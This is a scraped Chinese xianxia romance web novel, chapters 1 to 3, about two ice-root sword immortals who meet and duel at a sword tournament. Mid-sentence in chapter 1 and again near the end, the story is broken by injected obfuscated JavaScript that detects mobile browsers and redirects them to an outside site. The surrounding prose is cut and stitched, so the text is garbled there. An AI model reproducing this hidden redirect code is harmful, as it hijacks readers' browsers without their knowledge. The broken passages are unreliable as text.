《剑修互冻日常》 1. 试剑大会 剑修,这类修士在修仙界的风评出奇地统一。 严厉刻板、喜怒无常、没人情味、不好相与、狂到没边、生起气来乱杀人、把剑当老婆、全部身家都拿来养剑且人均穷鬼……诸如此类,没多少性格上的好评价。 但同时,剑修又是修仙界除魔卫道的先锋,各类修士中战力最高的那一批,在各种除魔大会匡扶正道的行动事件中,他们的出勤率一直居高不下。 ——不过修士们一致怀疑剑修去除魔只是单纯地为了打架。 剑修好像生来就是为了战斗,为了手中剑和心中道,他们从容以赴生死局,战至终章不回头。 结伴外出游历的宗门徒子也偏爱剑修,如果队伍里有一名剑修,那么整个队伍的生存指数都会大大提高。 …… 八万山,某处山谷中。 几名穿着太清宗徒子服的年轻徒子,正齐齐抓着一位黑衣道长的袖子嗷嗷大哭。 “萧长老呜呜呜我以为我差点要死了……” “呜哇啊啊啊我好痛呜呜呜呜呜……” “长老呜呜呜呜呜呜……” 这几名徒子有男有女,有剑修有法修,但此时无论男女还是剑修法修,皆是一副泪流满面痛哭流涕的样子。 这名被众徒子拉扯的黑衣道长,就是当世剑仙之一,太清宗幽明长老,萧湘。 萧湘黑沉如墨的眼眸微动,视线落在一名徒子抓他道袍的手上。 那只手上血痕纵横,沾泥带土,一看便知这手的主人才经历了一场恶战。 大约两刻钟前,萧湘还在宗门的长老议事殿里,“被迫”听他大师兄——太清宗现任宗主段衍——的“劝婚论”。 “香香啊,做人一世,没有个能甘苦与共的贴心人,就跟白来人间一趟没什么区别。你看看三长老,现在跟道侣多甜蜜,多令人钦羡,就是平时修道,都能有个一块儿探讨功法的伴儿。” 萧湘神色淡淡,“没有白来,湘如今修为已至化神期,在剑法方面也颇有建树。且逐星已开灵智,平时能与湘一同研习剑法。” “逐星”是他的法器,一柄通体漆黑的长剑。 “逐星再聪明,终归不是人,剑哪能做道侣呢?你得找个喜欢的人啊,找个能知你冷暖悲喜的活生生的人啊!”段衍苦口婆心地劝道。 “可湘就喜欢剑。”萧湘不为所动。 段衍还想再劝,萧湘看了看外面不早的天色,急着快结束话题回去练剑,于是在段衍开口前说道: “若世上有人如湘这手中剑一般,湘便与那人结为双修道侣。” 说完便迅速起身,拱手行礼,“宗主师兄告辞,天色不早,湘该回去练剑了。” 段衍一把拽住他的袖子,“诶师弟——” “宗主!宗主——” 正在师兄弟两个拉扯之时,一名传信弟子连滚带爬地冲进殿内,手上哆哆嗦嗦地捧着一张快要焚毁的黄符纸。 “出去参加试剑大会的余师弟等人传回急信,说是在八万山中遇到高阶魔兽,战不能敌也无处可逃,请求宗门速援!” 方才还在嬉皮笑脸的段衍面上表情一肃,“高阶魔兽?快传信让门中所有金丹期……” “不必如此兴师动众,湘去便可。”萧湘把自己的袖子从师兄手里拽出来,背后的逐星剑嗡鸣出鞘,只顷刻便横在了萧湘脚边。 他踏上去,逐星带着剑主升空,瞬息间飞出千里。 …… 萧湘被哭声吵得头疼,方才确实千钧一发,他若是来晚半步,这几个小徒子都得变成高阶魔兽的晚饭。 一柄拂尘敲过几个狼狈的脑袋,萧湘冷声道:“别哭了。” 大龄剑修的气势极为骇人,更何况萧湘还是个冰灵根,剑修的天然凛冽和冰灵根自然而成的肃穆在他身上体现的淋漓尽致,叫人感觉站在面前的不是一个人,而是一块冰。 方才几个小徒子都被吓麻了,长这么大第一次直面死亡,崩溃的彻底,此时缓过劲来了,又被萧湘这么出声一说,赶紧放开自家长老,唯唯诺诺地站成一排。 萧湘扫了一眼狼狈毛躁的几个徒子,挥了挥拂尘。 几名子弟只觉得一阵冷风扑面,凉气爬进伤口,深入肌理,不消片刻便将一身伤尽数治愈,身上沾着的泥土草叶也被冷风拂去,翘起来的头发都被顺得整齐妥帖。 若不是一身衣服还破破烂烂的,他们都要以为方才的一场恶战只是幻觉。 “这就是……化神期……”一名小徒子怔怔地看着自己完好如初的双手,那些几乎要将他手指切断的伤痕早已不复存在。 这种伤,往常他们都要养上十天半个月才能好全。 “走。”萧湘把拂尘搭回臂弯,一身墨色道袍在风中飘荡,如渡鸦展翅,“本座送你们去试剑场。” 与此同时,八万山山南,上清宗内。 一座棍状石山拔地而起,高达百丈,山顶白雾缭绕,正中央生着一棵千岁樱树,常年花开不败,灼灼艳艳。 此处为上清宗落樱顶,是本宗行神道君的居所。 一朵完整的樱花悠然别枝,落在树下人的白发上。 裘弈将神识从八万山山谷中收回,雪睫微动,片刻后睁眼,垂在眼前的发丝被风吹偏,露出他右眼角下的一颗小痣。 他刚刚……貌似在八万山里碰着了一道凛冽的剑意。 裘弈端坐在树下,正垂头回味着方才遇到的剑意,一只仙鹤突然从一旁探头,闯进他的视线里。 “小乖?怎么突然来看吾……” 裘弈话未落,仙鹤突然抬起一只爪子,将抓着的存音石晾在他面前,上清宗宗主罗万劫那稍显气急败坏的声音从石头里传出: “行神!试剑大会临近,你怎么不让徒子进落樱顶里去给你传话?我宗徒子都已出发去会场,你还不快去!” “行神”是裘弈的道号。他刚想开口解释,突然意识到这存音石只是单方面存储声音,而不能够直接传输声音。 裘弈顿了顿,施法将存音石中原本的声音抹去,添上自己的声音: “这就去。” 他将存音石递给仙鹤小乖,起身御剑。 在他身上堆了好几天的樱花花瓣随着他起身的动作簌簌落下,个别几片还留在他发间不肯离去。裘弈并未在意身上的花瓣,他招来自己的本命剑摧雪,刚要抬脚往摧雪那雪白的剑面上踩,就被摧雪闪身躲开。 “嗯?”裘弈歪头看了看自己的鞋底,“吾坐在这里几天没动了,鞋底无泥。” 摧雪还是不让他站。 上古仙剑的性格很难搞,剑主想要随心使用仙剑,只有两个办法:一是用暴力压制仙剑,二是和仙剑打好关系。 前一种方法简单粗暴却后患无穷,仙剑有灵,被压制久了会心生怨愤,万一哪天剑主自身实力不济,仙剑可能趁此机会噬主。 裘弈对自家仙剑用的自然是第二种办法,主打一个有事就沟通,谁对就依谁。 摧雪别的什么都好,跟他剑意相合,默契无间,就是剑有点龟毛,太过爱干净了,还偏爱白色。 裘弈的白发灰瞳并不是天生的,也不是年纪大了变成这样的。修士在进阶元婴期时有一次重铸肉身的机会,可以改变自己肉身的容颜相貌。当年进阶前,摧雪在他耳朵边上千叮咛万嘱咐,要他把毛发和眼睛都变成白色。 眼睛全变作白色太吓人了,他最后只是让黑色的部分变浅一些,成了灰色,不过全身的毛发按照摧雪的交代,变作了白色。 这样还不算完,摧雪还要他日日年年穿白衣,他对外形没什么要求,就都依摧雪了,自从进阶元婴期后就再也没穿过别颜色的衣服。 裘弈往自己的鞋底施了好几个除尘术,摧雪终于肯让他上剑,载着他飞往千里之外的论剑大会会场。 只不过这一路……堪称危机重重啊。 以裘弈如今的修为,八万山中的魔兽妖兽都不足为惧,令他有所忌惮的,是一路上追着他的同门女修。 上清宗开宗立派的祖师是女修,宗内一直承袭的功法也都适合女修修炼,整个上清宗呈现出阴盛阳衰之势,宗内就没几个修为高超的男修。 同门的师姐们觉得跟别宗的男修异地恋没意思,就盯着宗门里这几个稀缺的男修不放了。 ……这也是裘弈在落樱顶设下结界好几天不出来的缘故。 上清宗门风潇洒不羁,师门中女修大多不知矜持为何物,喜欢就要,爱就追,得不到也无所谓,多看两眼不吃亏。 师姐妹们直接来假装偶遇,裘弈知道大多是在同自己开玩笑,于是踩着摧雪左闪右避,躲开想来投怀的一众师姐,但偶尔看师姐们的架势貌似不是闹着玩的,又无措到嘴上开始说胡话:“师姐别这样,吾有龙阳之好,不爱女子。” 同辈的大师姐李拂衣样貌温婉可人,但嘴里净出些虎狼之词,她笑道:“等着,姐去合欢宗接上根就来疼你。” 裘弈闻言,一贯无甚表情的脸上显露出一丝呆滞。 “……师姐?” 李拂衣哈哈笑道:“开玩笑的!你当真啦?” 自然不会当真,同门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560573|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐之间虎狼之词层出不穷,他只是没料到师姐这新词这么炸裂。 话说合欢宗真的能接根么?是用什么法术做到的呢…… 裘弈不禁陷入沉思。 众所周知,全修仙界最穷的修士就是剑修,剑修扎堆同等于穷鬼开会,不会整一些花里胡哨的气派场地。所谓的论剑大会,就是一帮剑修找一片干净的山头,设下防护阵法,在阵法里击剑论道。 论剑大会就在八万群山中最东方的那座山上。此山被剑修们称作“东万山”,相传在八百多年前,有两位剑修大能在此论剑,将山头削平了,使东万山更适合作为一个论剑场地,从那之后,剑修们便常常在此集会。 萧湘带着宗门徒子落在山头上后,又检查了一遍小徒子们的状态。 “若身体不适,切不可逞强比试,坏了根基。”萧湘叮嘱剑修徒子,“性命第一,比试第二。” 带队的剑修余友良如今不到五十岁,因为筑基的早,还是少年模样,也正是修仙者最记吃不记打的年纪,擦干净了让魔兽吓出来的眼泪鼻涕后又是一条好汉。 他拎着剑,边往论剑场上跑边回头冲萧湘挥手,“放心吧长老!第三条宗训已经刻进我们的丹田里了!” 太清宗宗训第三条:该怕死时需怕死,切莫逞能陨道身。 萧湘见许多徒子都冲他挥手说回见,略作思考后,他也冲徒子们挥了挥手里的拂尘。 白毛黑尖的拂尘在身前轻轻摇晃,有点像某种逗弄狸奴的玩具。 逗没逗着狸奴不知道,但是逗到人了。 裘弈站在萧湘右侧的七步之外,他看着萧湘怀里顺滑飘逸的拂尘,感觉自己的手有点蠢蠢欲动。 想摸一摸。 裘弈看向自己身侧悬浮着的摧雪剑,试探性地问:“你能不能变拂尘……” 摧雪:滚。 裘弈叹了口气。 他都按照摧雪的喜好把自己弄得通身雪白了,摧雪却不愿意为了他变一会儿拂尘。 真是世风日下,剑心不古。 裘弈轻轻地摇头叹息,又抬眼去瞧拂尘的主人。 若是和门派有些交情的道长,说不定能让他摸一下那拂尘。 恰逢这时,那人察觉到他的视线,也转眼看来。两双同样冰凉的眼睛对上,都怔了一下,随后一齐向对方颔首示意,神色淡淡,却无轻视之意。 毕竟面无表情心无波澜是冰灵根的通病,就算八万山在他们面前崩了,他们原先是什么表情,就还是什么表情,眼睛都不带眨一下的。 两位剑主面无表情,礼数周到,但两把剑可一点礼数都无。它们飞在剑主身边,剑身自鸣,铮铮作响,看起来战意昂然,若不是有剑主的意志压着,此刻怕是已经打作一团了。 萧湘从裘弈那边收回视线后,有点克制不住地想往那边再瞧一眼。 那个剑修,白到发光。 周身剑意凛冽,其本命剑也不是凡物,剑身如雪……是古剑摧雪么? 他下意识垂头看了一眼自己腿边漆黑的逐星,淡淡道:“本座好像更喜欢白色,你能不能变成白剑?” 逐星:别强剑所难嗷我跟你讲。 “对了,你为什么和那位仙长的剑吵架?”萧湘感觉逐星的振动频率史无前例地快,把周围的空气都摩擦得发热,“它怎么惹到你了?” 逐星赶紧告状:那把白的跟死人似的剑骂流光是勾人精怪!还说我一身黑,丑的惨无剑道!这没品味的东西,我要跟它打一架,你放开我!! “流光”是萧湘的拂尘,流光虽然还无器灵,但已有些许灵智,平日里被逐星当做妹妹看待。 器灵剑灵都无性别,逐星坚持把流光称为妹妹的原因是流光的毛顺滑漂亮,像女子的头发,且铸造时间比它晚,所以是妹妹。 萧湘自然不可能放逐星去随便跟剑打架,他伸出手,刚想安抚一下自己的仙剑,一缕白发先被山风扬到了他的眼前。 他下意识追着那缕飘荡的白发看去,只见那位如冰如雪的仙长不知何时已经站在了他的身前。 山风鼓荡起两人的衣袍,因为背风的关系,对方偏长的衣袂总是扑打在他的袖袍间,如流云飘过,白而柔,轻而凉。 清冷如霜的声音从对方那两片淡而薄的唇间缓缓吐出: “上清宗裘弈,请道长试剑。” 明明素昧平生,可他却莫名有种失而复得的熟悉感。萧湘那颗百年轻跳的心脏忽然也随着山风鼓噪起来,咚咚有声,无法忽视。 他好像……不是单纯地喜欢白色。 2. 如锋如剑 心中微动来的莫名其妙,萧湘也弄不清自己究竟是见剑起意,还是听言起意,又或是对方身上显露出来的剑意太过凛冽,靠近后让他起了战意。 那就先将心神的反常归为战意吧。 萧湘定了定神,稳声道:“太清宗萧湘,接剑。” 两位剑仙往论剑台上一站,顿时引走了全场剑修的视线,原先在比试的剑修都不打了,纷纷停战,伸着脑袋来看萧湘和裘弈论剑。 修仙界的“剑仙”是修仙者用剑达到一定程度后被众人冠上的称号,目前修仙界还知道人具体在哪的“剑仙”就三个,分别是“三清”——太清宗、上清宗、玄清宗——的萧湘、裘弈、顾犹在三人,前两位是一宗长老,最后一位是宗主。 其他的剑仙不是查无此人,就是飞升成仙,总之行踪没有,别说论剑大会了,就算修仙界天塌了都不一定能见到那些剑仙出来,许多人都猜测,剩下的几位剑仙怕是已经陨落。 太清宗来的法修小徒子趁着两位剑仙还没有开打,在论剑台周围布下了许多防护法阵和结界,以防两人打起来波及到观众。上清宗的女修们见状,也来帮忙,将阵法层层加固,否则按照两位剑仙的实力,这阵法都经不住一道剑气冲击。 所谓“论剑”,就是两名剑修在切磋过程中感受对方的剑意道心,从而精进自己的剑意,比试双方修为相当,论剑的双方收获就越大。 萧湘快有近百年没有与人论剑过了,因为目前没有几个剑修能有与他相当的修为,平日他在宗内或是独自练剑,或是去指点小辈们的剑术。 如今已是冬季,高山上寒冷,朔风时有吹拂,鼓荡起论剑台上一黑一白两道身影的衣袂。 没有明确的请示,护山结界落下的一瞬间,两道破风声在论剑台上响起,一黑一白两道身影持剑冲向对方,只听铮然一声响,擦出一片亮眼的火花,洒在长风中,被剑意凝做霜雪。 察觉到对方是冰灵根剑修,萧湘略有些惊讶,但也只是心下有点惊讶,面上并未有半分显露。他侧身转剑接下一击,驱动自己灵根上的寒气向对方的剑锋上攀爬而去。 对方立时就察觉到了,挥剑甩掉他的寒气,顺便甩了一道剑气过来,势如猛兽,摧山断岳,震得护山大阵嗡鸣不断。 这不是生死之战,在输不了的前提下需留有余力,不然裘弈那一剑若是真以十成十的威力劈在了护山大阵上,东万山怕是要直接坍塌,论剑大会更是得直接结束。 若放在平常,萧湘会躲开这道剑气,但今日他与这位名叫裘弈的仙长是在论剑,他有心向对方请教剑意,这道剑气,他没有躲的必要。 逐星迎上摧雪甩出的凛冽剑气,因为先前两剑吵架,逐星憋着不肯输的劲,表现也比平时要好上不少,直将那剑气断做两半,震碎成雪。 神魂激荡间,雪片飘落在地,有些许滞留在萧湘的衣摆上,像夜空缀星,忽明忽灭。 “君赠寒意,吾自成雪。”未分胜负,裘弈察觉到自家仙剑溢出来的情绪不适合论剑,先一步收剑,向对面的道长微微倾身致谢。 原来先前在八万山中感受到的剑意,来自对面这位道长。裘弈心想,不知有没有机会与这位道长相交,日后好多多探讨剑法。 高修修仙者之间的切磋没有多少花招,往往一招一式便能体现出道意剑心,旁人难以窥见其中玄妙,只有接招者或可领略一二。 萧湘也向裘弈倾身示意。两人同时转身走下论剑台,隔着一台的距离,各自与同门徒子并肩而立。 “你这是作甚?”论剑台一侧的裘弈不解地看向自己手中的长剑,语气轻缓,似责非责,“说好了论剑,你怎么带着情绪去?” 摧雪轻轻嗡鸣,并不作答。 论剑台另一侧的萧湘检查了一下逐星方才劈开剑气的锋刃处,确定没有损伤后,他轻抚剑身,像是抚摸小孩的头发一般,低声问道:“方才那一战,可有收获?” 他的本命剑逐星不是什么上古仙剑,是他自己锻造出来的寒铁剑。这把剑的年龄比他要小上一些,平日里孩童心性,他也将这把剑当做自己的小辈教导,事事关心。 逐星:它有气,但它剑主管着它,不能放开了打我,嘿嘿。 萧湘:“……” 萧湘用指节轻扣逐星,无奈道:“正经些,摧雪是上古仙剑,经历的战局比你要多上太多。刚刚那一道剑气劈来,除却仙剑情绪,你可有别的察觉?” 逐星沉默了一会儿,将剑意传递给萧湘:它可自行使用剑主的本源寒意,而我需要你分神将寒意送到我身上来,才能发挥其效用。 无灵剑与有灵剑的使用方法不同。逐星有灵,有些事需要自己去主动学习,不能事事依靠剑主,不然剑与剑主都难有进步。 “未堕魔的古剑难寻,日后若有再次论剑的机会,你要多向它学习。”萧湘又抚摸了一下剑身,“不过情绪本就难控,你虽有气,却留意了对方的招式之精,做得很好。” 逐星本来还因为自己不如那把吊丧剑会的多而沮丧,如今听到剑主非但没有责怪它,反而夸它做得好,当即又支棱起来,高兴地拉着萧湘,想要去论剑台对面再找那把吊丧剑论剑。 萧湘握紧剑柄,将逐星拉回来,“今日先别去了,小辈还要论剑,我们不要占风头。” 逐星顺从地飞回剑鞘中,静静地待在萧湘背后。 东万山上千剑鸣动,战意在每一把剑之间传播,逐星这会儿能忍得下战意,应当是“心情”极好,便将剑主的号令奉为第一要义。 自己养大的剑,用着就是省心。 萧湘将拂尘换到右臂弯上搭着,在一旁观看自家宗门里的小辈与人论剑。 远处的裘弈训完了自家仙剑,抬眼找寻那位名叫萧湘的道长,见对方正聚精会神地瞧着小辈们论剑,他踟躇半晌,最终没有上前打扰对方。 并不是所有人都像他一样,往宗门里一缩,除了自己的修行外什么都不用管。 裘弈站在远处,观察了萧湘许久。他见萧湘向论剑台上下来的一个小辈招手,那小辈便听话地走上前去,聆听长辈的指点。 许多身着统一宗门道袍的徒子拥簇在萧湘身边,并未因为高修者无意间泄露的威压而离开。在裘弈看来,萧湘与宗门内徒子的关系应当极好,竟能做到给每个人指点出一二不足之处,再提出改进的法子。 若不是有着一眼就能看清他人修炼是何路数的能力,便是用心去记了每名徒子的练功法门与修行之道。 这一点裘弈自认做不到,八百年了,他也就记住了师父、宗主、几个同门师姐,还有常到落樱顶找他的仙鹤小乖,其他人在他看来没有记住的必要,他与那些人 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修仙界一直流传着一句话——“行神道君不下仙门”——这话说的就是裘弈很少离开宗门的事实,若不是宗门内有宗主念叨他,让他出去参加一些修仙界的集会,不然裘弈能在上清宗的落樱顶上待一辈子。 据说,年轻时的裘弈三天两头地往宗门外跑,说是要去寻什么人,但寻了一百年后,裘弈便很少再出宗门了,有人问起缘何故,便答要寻找的人早已不在人世,不必再出去费力。 大家便知道了,裘弈要寻的,是个寿命顶天也就百来岁的凡人。 修士与凡人的寿命长短不同,对于时日的观念也不一样。凡人可能用百年做许多事,但修士可能用尽数百年就只做了一件事。 裘弈活了八百年,用一百年走遍尘世寻人,用七百年潜心习剑。如今,他想再用些年岁,和幽明道长论雪濯剑。 这天下,修为与自己相当的冰灵根剑修实在少见,能被他难得出门遇到的冰灵根剑修更加稀少。既能相遇,便是有缘,有缘便可一同论剑。 裘弈满脑子跟邂逅的道长缩在一处论一辈子剑的想法,在旁人看来,便是在盯着远处的萧湘发呆。李拂衣收拾完了自家宗门里的小辈,闲下来又想去逗逗师弟。 她伸手在裘弈面前挥动,打断裘弈的思绪,笑问:“球球,真不考虑考虑师姐啊?” 裘弈回神,还没完全从思绪中脱离出来,他眨眨眼,看着自家师姐,缓缓说道:“师姐不是体修么,如何同吾论剑?” 李拂衣茫然:“啊?什么论剑?我是说你真不打算跟师姐共度余生吗?” 裘弈摇头。 “那你喜欢什么样的人?师姐帮你注意注意。” 裘弈指了指自己怀里的摧雪。 李拂衣一脸嫌弃,“又是剑,又是剑!我说你们剑修也真是的,哪有人能跟剑一样啊?” “有。”裘弈转眼望向远处的某个人。 李拂衣顺着师弟的视线望去,见一片浅色衣袍中立着名黑衣道长,正是方才提及的幽明道长。 对方察觉到直勾勾投向自己的视线又多了一个,转眼向这边看来,先是看向了她,点头示意后,又和裘弈接上视线。 两名剑仙隔着人海相望,神色淡淡,谁都没有移开视线。 李拂衣听到自家师弟这么称赞了一声: “好剑。” 3. 遥赠新雪 太清宗坐落于东洲修仙界东部地域,整个宗门建在群山之上,山高气冷,宗内最高的山头常年覆雪,其上生有一片红梅古林,因灵气充裕的缘故,梅林常年花开不败,馨香盈山。 此座山头的景致被太清宗众修士称为“红梅落雪”,里头住着他们最最亲爱的幽明长老。如果让宗内小徒子们选出一个他们最喜欢待在对方身边的门内长辈,所有人都会毫无犹豫地选择幽明长老。 无他,因为幽明长老身上香,都被一山的红梅腌入味了。 听雪小筑内,萧湘在蒲团上睁开眼,恰见门外的一枝黑木红梅绽开,惊落枝头碎雪。 白雪落地,发出一阵碎玉轻响,于悠悠天地间飘散。 修士一般无需睡眠,肉身打坐调息的同时,神识会离开身体,在周边漫游。 方才在漫游时,萧湘的神识发现有名年纪不大的弟子来红梅落雪折梅,将折下来的花枝拿去送给一名同样年纪不大的婧子。一见弟子手上拿着花,婧子就出剑向弟子讨教了起来。 送花请剑是时下盛行的切磋请求方式吗? 萧湘略做思索,持拂尘起身,招来逐星。 他背着逐星走出小筑,抬首盯着初绽的一树红梅看了一会儿,出声问:“你介意换个宗门待着吗?” 那棵梅花树在灵气的孕育下早就生出了灵识,有自我意识,它用灵识同萧湘对话道:说人话。 萧湘直言道:“本座要向上清宗的一位仙长试剑,想请你去做个媒。上清宗的灵气与太清宗同样充裕,你过去待一段时间,若是不喜那处的天地,本座再带你回来,换棵树去。” 梅花树奇怪:你跟别人试剑,为什么要送人家树? “本座方才……”萧湘将自己神识漫游的见闻同这棵梅花树讲了一遍,话音刚落,便被一枝自动脱落的梅花砸了脑袋。 他下意识将那带雪的花枝接住,用搭拂尘的方式将梅花枝搭在自己的臂弯里,沉默了片刻,淡声道:“脱离了根,这花不日便会凋谢,太可惜。” 梅花树:笨。 “笨?”萧湘顿了顿,反驳道,“不笨,本座聪明。” 梅花树没理会萧湘的反驳,它用灵识说道:送那根花枝吧,我不去上清宗,其他树也不去。 萧湘转头看向其他梅花树,又问:“为何?” 这些树灵不是整日嚷着要去外面么? 如今修仙界灵气充裕的地域都被各类宗门占据,寻常地方肯定不适合这些有灵的梅花树生存,若是这些树灵想要换个地方待着,只能送去其他宗门。 但他不可能平白无故往人家的山头上栽种生了灵智的树,能有机会将树灵送去其他宗门的机会不多,正好他要向上清宗的仙长请剑,可以捎棵树过去说是送礼,两全其美。 红梅落雪的所有梅花树灵同声道:笨。你要给别人送花,扛着棵树去算什么? 萧湘越发不理解了,但他见众梅树貌似并不想与他多言,纷纷将花枝调离了向着他的方向,便没再追问,抱着梅花树赠送的花枝踏上逐星,御剑飞往上清宗。 一众树灵目送着萧湘离去,刚刚那个送梅花枝的树灵说道:“我其实挺想去上清宗的。” 另一棵梅花树道:“我也想,但长老的姻缘更重要一点。” 太清宗宗主苦幽明长老无道侣久矣,上回来红梅落雪,还放言说要把一山的梅花树给铲了,改种桃花树,给幽明长老招招桃花,但因为幽明长老的阻拦,宗主的计划并未实施。 它们是太清宗栽下的树,依附于太清宗的地利人和而得以修炼出灵识,自然也听从太清宗的安排。草木成灵只是成了灵,不是妖,并没有多大的本事,它们无法决定自己的本体栽种在何处,太清宗若是厌弃了它们,随时可以将它们铲除,换别的花树来种植。 也就幽明长老办事前会先询问它们是否情愿,虽然那番要将它们送人的话说得并不客气,但它们在幽明手底下有的选,不想去,幽明长老也不会强迫它们。 愿幽明长老能早日找到道侣。一众梅花树在内心祈祷,如果萧湘能早点找到道侣,太清宗宗主也就不会整日想着要将它们换成桃树的事了。 …… 仙鹤小乖降于落樱顶,将口中衔的存音石放在千岁樱树下,伸爪将其往白发仙长的跟前推了推。 裘弈睁眼,灰眸迟钝地向下移动,看向地上的存音石。他伸手想要将其拿起,但五指像是被冻住了一般,僵硬了许久才得以舒展开。 寒气外泄。裘弈一边拿起存音石,一边回头看向自己背靠的千岁樱树,大片寒冰在他打坐时从他靠着的地方向樱树上蔓延,几乎要将半棵樱树冻上。 原本无神的一双灰眸蓦然睁大,裘弈连忙伸手覆上樱树,用灵力将那大片的寒冰融化为水。 “怎么不叫醒吾?”裘弈轻抚樱树被冻坏了的树皮,低声问,“不痛么?” 樱树无言,只是往裘弈的身上抖了一枝樱花。 裘弈尽己所能地用灵力修补他对樱树造成的损害,忘了自己手里还拿着没听的存音石,直到半个时辰后,等得不耐烦的上清宗宗主罗万劫强行突破落樱顶的禁行结界,一巴掌扇在了沉迷救树的裘弈头上。 裘弈一时不察,被扇得上身前倾,一头撞在了粗糙的树皮上,擦红一片额头。 他毫无感情地小声痛呼:“啊……” “啊你个头!”上清宗宗主美丽,但性格实在火爆。她拽着裘弈的高马尾,将这个不肯从樱树上抬头的自家长老拉离樱树,张口便骂。 “又在跟这棵樱树亲亲我我是吧?行神,让你往宗门外走一步是不是能要了你的命啊?上次让你去试剑大会是让你去走个过场的吗?为什么一个徒子都没教?!你就算做个样子指点他们两句也好啊!其他长老问起众徒子去了试剑大会行神可有什么指点,一个个都说你在试剑大会上自己打自己的,根本不管他们!” “吾自己修炼都是野路子,实在不会教导徒子,恐误人子弟……”裘弈搬出自己用了几百年的借口,话说一半,意识到有些不对。 他淡声问罗万劫:“又有长老向你建议废掉吾的长老之位了?” 罗万劫一看裘弈那副对什么事反应都淡淡的样子就来气,她怒道:“你自己都知道,为什么不做点什么堵住他们的嘴?就由着他们在背后蛐蛐你?就由着我这个宗主在你们之间难做?!” 一个宗门之所以大,不是看宗门占地有多大,也不是看收的徒子有多少,而是看这个宗门里的高修为修士多不多。长老的修为自然是每宗修为处于顶端的那批人,一个宗门想要保证它的辉煌,门里哪个高修者都不能被轻易舍弃。 若是宗内长老们和谐还好,若是长老们互相看不惯,夹在中间的宗主就难做人。为了保证宗门的强盛,宗主只能不断地从中调和,让长老们能相对和平地待在一个宗门里。 裘弈从来不在乎别人在背后怎么说他,但宗主如今直言自己难做,他就不得不给出回应了。 只是这回应的话,怎么听都能气死罗万劫。 “八百岁的化神期剑修,还堵不住他们的嘴?”裘弈冷声道,“谁不服,让他们自行来寻吾,吾打到他们服气为止。” 罗万劫额角青筋凸现,她抬起巴掌来,狞笑道:“老娘先把你给打服气了!” 裘弈冰山不怕开水烫地闭上眼睛,等着师姐的巴掌落在自己脸上。 师父仙逝的早,他们这一届师妹师弟都是罗万劫带出来的,大伙儿都是皮猴,从小到大从罗万劫手底下挨过的打没有一千也有几百,早习惯了。 但这次他闭着眼睛等了好久,预料中的巴掌都没有落到脸上。裘弈悄摸着将双眼睁开一条缝,偷偷看了师姐一眼。 罗万劫见他睁眼,作势又要打。 裘弈连忙闭紧眼,因为闭眼动作有些用力,还拉扯到了额头上破皮的伤处,有些刺痛。 耳边传来一声绷不住的轻笑,裘弈再次睁开眼,见师姐早就收了手,垂头看着他笑。 有时候,裘弈实在是弄不懂人类的情绪,怎么能够上一刻还暴跳如雷,下一刻就能开怀地笑出声来? 他不解地回视着自家师姐。 “怎么几百年过去了,宗门物是人非,就你还没变。”罗万劫摸小狗似的捋捋裘弈的白发,叹了口气,“宗内忮忌你天赋者不在少数,你空有修为,没有作为,给了他们能非议你的机会。我知你不善与人交际,本也不愿逼你,但……” “但师姐恐吾听了那些非议吾的言论,心生怨怼,一声不吭地离开宗门,从此不再回来。”裘弈接话道,“可是如此?” “你既知晓,怎不做些让师姐放心的事?” “吾可以去将他们打服……” “行了,闭嘴吧。”罗万劫不指望裘弈嘴里能蹦出什么叫人欣慰的话来了,她怀疑自家师父当年就是让裘弈给气死的。 上清宗女修多,宗内的景致被一帮女子整顿得恍若仙境,光是看着就能叫修士心情好。可罗万劫对着宗内的一片桃粉柳绿,心中却怎么都不能松快。 都是粉饰太平罢了。 她俯身,坐在裘弈身边。 “裘弈。” “吾在。” “我,他们,我们这帮修为高的人,这辈子也就这样了。天赋不足,努力也没能改变命运,我们最多再撑个三四百年,若还是寻不到升阶的法子,阳寿便已走到尽头。”罗万劫的声音难得放轻,既没有平时的宗主威严,也没有师姐架子。 她略显疲惫地问:“到时候,若上清宗没有能扛起宗门的小徒子,这个宗门又能靠谁在修仙界里说上一句话呢?大家会不会被其他宗门欺负?会不会被恶劣的邪修灭门却无人相护?我知道如今说这些可能为时尚早,但我既为宗主,就不得不去思考宗门的未来。” “太清宗有段衍和萧湘,玄清宗有顾犹在和邓君回,青云宗天赋绝顶者更是不计其数,其他几大宗门也各有各的倚仗。上清宗虽位列‘三清’,可我在宗内数了又数,除师弟外,还真没有百年之后能与其他宗门大能比肩的存在。” 裘弈突然道:“拂衣师姐可以。” “李拂衣?”罗万劫很轻很轻地笑了一声,随便看向落樱顶的某一处,似是要躲避裘弈可能看过来的视线,将自己眸中难掩的哀愁都藏好,“她的修为也要走到尽头了,早就开始打算收亲传徒子继承自己的衣钵。” 裘弈不再说话了,因为除了罗万劫和李拂衣两位师姐,他还真记不得宗内还有谁实力上乘。 他……从来不记这些,因为觉得没有必要。 罗万劫自言自语似的继续说道:“你从入门起便不与宗内其他人亲近,总是独来独往的,这么些年了,也不收个徒子,整日闷在落樱顶上。我和李拂衣一致觉得你不喜欢上清宗,只是承师父他老人家的恩情,便暂时留在这里,不过师父去后,你也没什么牵挂了,随时可能离开。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560575|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裘弈又突然道:“离了上清宗,吾还能往何处去?” 